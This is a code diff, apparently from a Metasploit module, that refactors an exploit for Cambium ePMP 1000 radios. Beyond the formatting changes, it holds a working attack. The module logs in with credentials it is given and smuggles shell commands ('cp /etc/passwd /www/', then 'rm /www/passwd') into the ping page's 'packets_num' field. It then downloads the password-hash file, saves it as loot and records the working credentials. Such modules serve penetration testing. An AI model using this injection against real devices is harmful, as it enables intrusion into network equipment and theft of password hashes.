@@ -94,13 +94,19 @@ def is_app_epmp1000?
94
94
return false
95
95
end
96
96
97
- if ( res && res . code == 200 && res . headers [ 'Server' ] && ( res . headers [ 'Server' ] . include? ( 'Cambium HTTP Server' ) || res . body . include? ( 'cambiumnetworks.com' ) ) )
97
+ good_response = (
98
+ res &&
99
+ res . code == 200 &&
100
+ res . headers [ 'Server' ] &&
101
+ ( res . headers [ 'Server' ] . include? ( 'Cambium HTTP Server' ) || res . body . include? ( 'cambiumnetworks.com' ) )
102
+ )
98
103
104
+ if good_response
99
105
get_epmp_ver = res . body . match ( /"sw_version">([^<]*)/ )
100
106
epmp_ver = get_epmp_ver [ 1 ]
101
107
print_good ( "#{ rhost } :#{ rport } - Running Cambium ePMP 1000 version #{ epmp_ver } ..." )
102
108
103
- if ( "#{ epmp_ver } " >= '2.5' )
109
+ if "#{ epmp_ver } " >= '2.5'
104
110
print_error ( 'This ePMP version is not vulnerable. Module will not continue.' )
105
111
return false
106
112
else
@@ -121,9 +127,12 @@ def do_login(user, pass)
121
127
begin
122
128
res = send_request_cgi (
123
129
{
124
- 'uri' => '/cgi-bin/luci' ,
125
- 'method' => 'POST' ,
126
- 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' , 'Accept' => 'application/json, text/javascript, */*; q=0.01' } ,
130
+ 'uri' => '/cgi-bin/luci' ,
131
+ 'method' => 'POST' ,
132
+ 'headers' => {
133
+ 'X-Requested-With' => 'XMLHttpRequest' ,
134
+ 'Accept' => 'application/json, text/javascript, */*; q=0.01'
135
+ } ,
127
136
'vars_post' =>
128
137
{
129
138
'username' => 'dashboard' ,
@@ -132,17 +141,28 @@ def do_login(user, pass)
132
141
}
133
142
)
134
143
135
- if ( res && res . code == 200 && res . headers . include? ( 'Set-Cookie' ) && res . headers [ 'Set-Cookie' ] . include? ( 'sysauth' ) )
144
+ good_response = (
145
+ res &&
146
+ res . code == 200 &&
147
+ res . headers . include? ( 'Set-Cookie' ) &&
148
+ res . headers [ 'Set-Cookie' ] . include? ( 'sysauth' )
149
+ )
150
+
151
+ if good_response
136
152
sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
137
153
138
154
cookie1 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
139
155
140
156
res = send_request_cgi (
141
157
{
142
- 'uri' => '/cgi-bin/luci' ,
143
- 'method' => 'POST' ,
144
- 'cookie' => cookie1 ,
145
- 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' , 'Accept' => 'application/json, text/javascript, */*; q=0.01' , 'Connection' => 'close' } ,
158
+ 'uri' => '/cgi-bin/luci' ,
159
+ 'method' => 'POST' ,
160
+ 'cookie' => cookie1 ,
161
+ 'headers' => {
162
+ 'X-Requested-With' => 'XMLHttpRequest' ,
163
+ 'Accept' => 'application/json, text/javascript, */*; q=0.01' ,
164
+ 'Connection' => 'close'
165
+ } ,
146
166
'vars_post' =>
147
167
{
148
168
'username' => user ,
@@ -153,7 +173,14 @@ def do_login(user, pass)
153
173
154
174
end
155
175
156
- if ( res && res . code == 200 && res . headers . include? ( 'Set-Cookie' ) && res . headers [ 'Set-Cookie' ] . include? ( 'stok=' ) )
176
+ good_response = (
177
+ res &&
178
+ res . code == 200 &&
179
+ res . headers . include? ( 'Set-Cookie' ) &&
180
+ res . headers [ 'Set-Cookie' ] . include? ( 'stok=' )
181
+ )
182
+
183
+ if good_response
157
184
print_good ( "SUCCESSFUL LOGIN - #{ rhost } :#{ rport } - #{ user . inspect } :#{ pass . inspect } " )
158
185
159
186
report_cred (
@@ -165,83 +192,120 @@ def do_login(user, pass)
165
192
)
166
193
167
194
get_stok = res . headers [ 'Set-Cookie' ] . match ( /stok=(.*)/ )
168
- stok_value = get_stok [ 1 ]
169
- sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
195
+ if !get_stok . nil?
196
+ stok_value = get_stok [ 1 ]
197
+ sysauth_value = res . headers [ 'Set-Cookie' ] . match ( /((.*)[$ ])/ )
170
198
171
- cookie2 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
199
+ cookie2 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
172
200
173
- uri1 = '/cgi-bin/luci/;stok=' + "#{ stok_value } " + '/admin/ping'
174
- command = 'cp /etc/passwd /www/'
175
- inject = '|' + "#{ command } " + ' ||'
176
- clean_inject = CGI . unescapeHTML ( inject . to_s )
201
+ uri1 = '/cgi-bin/luci/;stok=' + "#{ stok_value } " + '/admin/ping'
202
+ command = 'cp /etc/passwd /www/'
203
+ inject = '|' + "#{ command } " + ' ||'
204
+ clean_inject = CGI . unescapeHTML ( inject . to_s )
177
205
178
- res = send_request_cgi (
179
- {
180
- 'uri' => uri1 ,
181
- 'method' => 'POST' ,
182
- 'cookie' => cookie2 ,
183
- 'headers' => { 'Accept' => '*/*' , 'Accept-Language' => 'en-US,en;q=0.5' , 'Accept-Encoding' => 'gzip, deflate' , 'X-Requested-With' => 'XMLHttpRequest' , 'ctype' => '*/*' , 'Connection' => 'close' } ,
184
- 'vars_post' =>
185
- {
186
- 'ping_ip' => '8.8.8.8' ,
187
- 'packets_num' => clean_inject ,
188
- 'buf_size' => 0 ,
189
- 'ttl' => 1 ,
190
- 'debug' => '0'
206
+ res = send_request_cgi (
207
+ {
208
+ 'uri' => uri1 ,
209
+ 'method' => 'POST' ,
210
+ 'cookie' => cookie2 ,
211
+ 'headers' => {
212
+ 'Accept' => '*/*' ,
213
+ 'Accept-Language' => 'en-US,en;q=0.5' ,
214
+ 'Accept-Encoding' => 'gzip, deflate' ,
215
+ 'X-Requested-With' => 'XMLHttpRequest' ,
216
+ 'ctype' => '*/*' ,
217
+ 'Connection' => 'close'
218
+ } ,
219
+ 'vars_post' =>
220
+ {
221
+ 'ping_ip' => '8.8.8.8' ,
222
+ 'packets_num' => clean_inject ,
223
+ 'buf_size' => 0 ,
224
+ 'ttl' => 1 ,
225
+ 'debug' => '0'
226
+ }
227
+ }
228
+ )
229
+
230
+ res = send_request_cgi (
231
+ {
232
+ 'method' => 'GET' ,
233
+ 'uri' => '/passwd' ,
234
+ 'cookie' => cookie2 ,
235
+ 'headers' => {
236
+ 'Accept' => '*/*' ,
237
+ 'Accept-Language' => 'en-US,en;q=0.5' ,
238
+ 'Accept-Encoding' => 'gzip, deflate' ,
239
+ 'X-Requested-With' => 'XMLHttpRequest' ,
240
+ 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8' ,
241
+ 'Connection' => 'close'
191
242
}
192
- }
193
- )
243
+ } , 25
244
+ )
245
+
246
+ if res && res . code == 200 && res . body =~ /root/
247
+ vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
248
+ vprint_status ( "#{ rhost } :#{ rport } - dumping password hashes" )
249
+ vprint_line ( "#{ res . body } " )
250
+ vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
251
+
252
+ print_good ( "#{ rhost } :#{ rport } - File retrieved successfully!" )
253
+ path = store_loot ( 'ePMP_passwd' , 'text/plain' , rhost , res . body , 'Cambium ePMP 1000 password hashes' )
254
+ print_status ( "#{ rhost } :#{ rport } - File saved in: #{ path } " )
255
+ else
256
+ print_error ( "#{ rhost } :#{ rport } - Failed to retrieve hashes" )
257
+ return
258
+ end
259
+
260
+ command = 'rm /www/passwd'
261
+ inject = '|' + "#{ command } " + ' ||'
262
+ clean_inject = CGI . unescapeHTML ( inject . to_s )
263
+
264
+ res = send_request_cgi (
265
+ {
266
+ 'uri' => uri1 ,
267
+ 'method' => 'POST' ,
268
+ 'cookie' => cookie2 ,
269
+ 'headers' => {
270
+ 'Accept' => '*/*' ,
271
+ 'Accept-Language' => 'en-US,en;q=0.5' ,
272
+ 'Accept-Encoding' => 'gzip, deflate' ,
273
+ 'X-Requested-With' => 'XMLHttpRequest' ,
274
+ 'ctype' => '*/*' ,
275
+ 'Connection' => 'close'
276
+ } ,
277
+ 'vars_post' =>
278
+ {
279
+ 'ping_ip' => '8.8.8.8' ,
280
+ 'packets_num' => clean_inject ,
281
+ 'buf_size' => 0 ,
282
+ 'ttl' => 1 ,
283
+ 'debug' => '0'
284
+ }
285
+ }
286
+ )
194
287
195
- res = send_request_cgi ( { 'method' => 'GET' , 'uri' => '/passwd' , 'cookie' => cookie2 , 'headers' => { 'Accept' => '*/*' , 'Accept-Language' => 'en-US,en;q=0.5' , 'Accept-Encoding' => 'gzip, deflate' , 'X-Requested-With' => 'XMLHttpRequest' , 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8' , 'Connection' => 'close' } } , 25 )
288
+ # Extract ePMP version
289
+ res = send_request_cgi (
290
+ {
291
+ 'uri' => '/' ,
292
+ 'method' => 'GET'
293
+ }
294
+ )
196
295
197
- if res && res . code == 200 && res . body =~ /root/
198
- vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
199
- vprint_status ( "#{ rhost } :#{ rport } - dumping password hashes" )
200
- vprint_line ( "#{ res . body } " )
201
- vprint_status ( '++++++++++++++++++++++++++++++++++++++' )
296
+ epmp_ver = res . body . match ( /"sw_version">([^<]*)/ ) [ 1 ]
202
297
203
- print_good ( "#{ rhost } :#{ rport } - File retrieved successfully!" )
204
- path = store_loot ( 'ePMP_passwd' , 'text/plain' , rhost , res . body , 'Cambium ePMP 1000 password hashes' )
205
- print_status ( "#{ rhost } :#{ rport } - File saved in: #{ path } " )
298
+ report_cred (
299
+ ip : rhost ,
300
+ port : rport ,
301
+ service_name : "Cambium ePMP 1000 v#{ epmp_ver } " ,
302
+ user : user ,
303
+ password : pass
304
+ )
206
305
else
207
- print_error ( " #{ rhost } : #{ rport } - Failed to retrieve hashes" )
208
- return
306
+ # Login failed
307
+ print_error ( "FAILED LOGIN - #{ rhost } : #{ rport } - #{ user . inspect } : #{ pass . inspect } " )
209
308
end
210
-
211
- command = 'rm /www/passwd'
212
- inject = '|' + "#{ command } " + ' ||'
213
- clean_inject = CGI . unescapeHTML ( inject . to_s )
214
-
215
- res = send_request_cgi (
216
- {
217
- 'uri' => uri1 ,
218
- 'method' => 'POST' ,
219
- 'cookie' => cookie2 ,
220
- 'headers' => { 'Accept' => '*/*' , 'Accept-Language' => 'en-US,en;q=0.5' , 'Accept-Encoding' => 'gzip, deflate' , 'X-Requested-With' => 'XMLHttpRequest' , 'ctype' => '*/*' , 'Connection' => 'close' } ,
221
- 'vars_post' => { 'ping_ip' => '8.8.8.8' , 'packets_num' => clean_inject , 'buf_size' => 0 , 'ttl' => 1 , 'debug' => '0' }
222
- }
223
- )
224
-
225
- # Extract ePMP version
226
- res = send_request_cgi (
227
- {
228
- 'uri' => '/' ,
229
- 'method' => 'GET'
230
- }
231
- )
232
-
233
- epmp_ver = res . body . match ( /"sw_version">([^<]*)/ ) [ 1 ]
234
-
235
- report_cred (
236
- ip : rhost ,
237
- port : rport ,
238
- service_name : "Cambium ePMP 1000 v#{ epmp_ver } " ,
239
- user : user ,
240
- password : pass
241
- )
242
- else
243
- # Login failed
244
- print_error ( "FAILED LOGIN - #{ rhost } :#{ rport } - #{ user . inspect } :#{ pass . inspect } " )
245
309
end
246
310
end
247
311
end
0 commit comments